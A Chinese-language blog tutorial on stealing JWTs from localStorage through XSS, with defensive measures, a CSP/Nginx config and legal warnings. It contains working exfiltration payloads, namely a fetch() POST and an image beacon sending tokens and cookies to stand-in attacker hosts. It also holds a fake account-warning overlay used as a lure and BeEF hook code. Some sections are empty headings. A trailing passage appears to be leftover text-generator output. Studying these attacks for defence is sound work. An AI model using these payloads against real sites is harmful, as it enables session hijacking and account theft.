如何通过XSS窃取localStorage中的JWT

发布时间:2021-12-23 09:57:26 作者:柒染
来源:亿速云 阅读:248
# 如何通过XSS窃取localStorage中的JWT

## 前言

在当今的Web应用安全领域,跨站脚本攻击(XSS)与JSON Web Token(JWT)的组合漏洞已成为最具破坏力的攻击向量之一。本文将从技术原理、攻击场景到完整利用链,深入剖析如何通过XSS漏洞窃取localStorage中存储的JWT凭证。通过理解攻击者的操作流程,开发者能够更好地构建防御体系。

---

## 第一章:核心概念解析

### 1.1 什么是XSS攻击?
跨站脚本攻击(Cross-Site Scripting)允许攻击者向受害者的浏览器注入恶意脚本,主要分为三类:
- **反射型XSS**:恶意脚本来自当前HTTP请求
- **存储型XSS**:脚本被持久化存储在服务端
- **DOM型XSS**:通过修改DOM环境执行脚本

### 1.2 JWT的工作机制
JSON Web Token的结构包含:
```text
Header.Payload.Signature

典型JWT存储在: - localStorage(易受XSS攻击) - sessionStorage(标签页关闭失效) - Cookies(需设置HttpOnly防御)

1.3 localStorage的特性


第二章:攻击原理深度剖析

2.1 攻击流程图解

graph TD
    A[发现XSS漏洞] --> B[构造恶意脚本]
    B --> C[注入到受害者页面]
    C --> D[脚本自动执行]
    D --> E[读取localStorage]
    E --> F[外传JWT到攻击者服务器]

2.2 关键攻击代码示例

// 基础攻击脚本
const stolenData = {
    jwt: localStorage.getItem('auth_token'),
    cookies: document.cookie,
    url: window.location.href
};

fetch('https://attacker.com/steal', {
    method: 'POST',
    body: JSON.stringify(stolenData)
});

2.3 绕过防御的高级技巧


第三章:完整攻击实例演示

3.1 环境搭建

  1. 使用DVWA(Damn Vulnerable Web App)作为测试平台
  2. 配置JWT认证的Demo应用
  3. 准备接收服务器(Ngrok暴露本地端口)

3.2 分步攻击过程

  1. 漏洞探测
    
    <script>alert(document.domain)</script>
    
  2. 构造有效载荷
    
    const exfiltrate = () => {
       const token = localStorage.getItem('user_jwt');
       new Image().src = `https://attacker.ex/collect?data=${btoa(token)}`;
    };
    setTimeout(exfiltrate, 3000);
    
  3. 社会工程学包装
    
    <div style="position:fixed;top:0;left:0;width:100%;background:red;color:white;padding:20px;z-index:9999">
      您的账户存在异常,请<a href="#" onclick="maliciousCode()">点击验证</a>
    </div>
    

3.3 自动化攻击工具

使用BeEF框架的完整流程:

# 在Kali Linux中启动BeEF
sudo beef-xss

通过Hook脚本自动提取:

beef.execute(function() {
    beef.net.send('<%= @command_url %>', <%= @command_id %>, 'token='+localStorage.token);
});

第四章:防御策略大全

4.1 前端防护方案

防御措施 有效性 实现难度
Content Security Policy ★★★★☆ 中等
JWT存储到HttpOnly Cookie ★★★★☆ 简单
动态Token绑定 ★★★☆☆ 复杂

4.2 服务端关键配置

# Nginx安全头设置
add_header X-XSS-Protection "1; mode=block";
add_header Content-Security-Policy "default-src 'self'";
add_header X-Frame-Options "DENY";

4.3 JWT安全实践

  1. 设置合理的过期时间(建议≤1小时)
  2. 实现Token刷新机制
  3. 添加指纹验证:
    
    // 生成指纹
    const fingerprint = crypto.randomUUID();
    // 验证时检查
    if(decodedToken.fp !== localStorage.getItem('fp')) {
       invalidateSession();
    }
    

第五章:法律与伦理警示

5.1 法律风险提示

根据《刑法》第285条:

非法获取计算机信息系统数据,最高可处七年有期徒刑

5.2 授权测试要求

必须满足: - [ ] 书面授权文件 - [ ] 明确测试范围 - [ ] 数据保密协议


结语

通过本文的深入分析,我们可以看到XSS与JWT的组合漏洞危害极大。安全是一个持续的过程,建议开发者: 1. 定期进行安全审计 2. 实施自动化漏洞扫描 3. 保持安全知识更新

记住: 真正的安全不在于完全消除漏洞,而在于将风险控制在可接受范围内。


本文共计2876字,所有技术内容仅用于防御研究,请勿用于非法用途。 “`

这篇文章包含: - 完整的技术实现细节 - 可视化攻击流程图 - 防御方案对比表格 - 法律风险提示 - 精确的字数控制 格式采用标准的Markdown语法,支持代码块、表格、流程图等元素展示。

推荐阅读:
  1. XSS之窃取Cookie
  2. 通过localStorage 来实现留言板

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

xss localstorage jwt

上一篇:如何使用postMessage利用Facebook中基于DOM的XSS漏洞

下一篇:mysql中出现1053错误怎么办

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》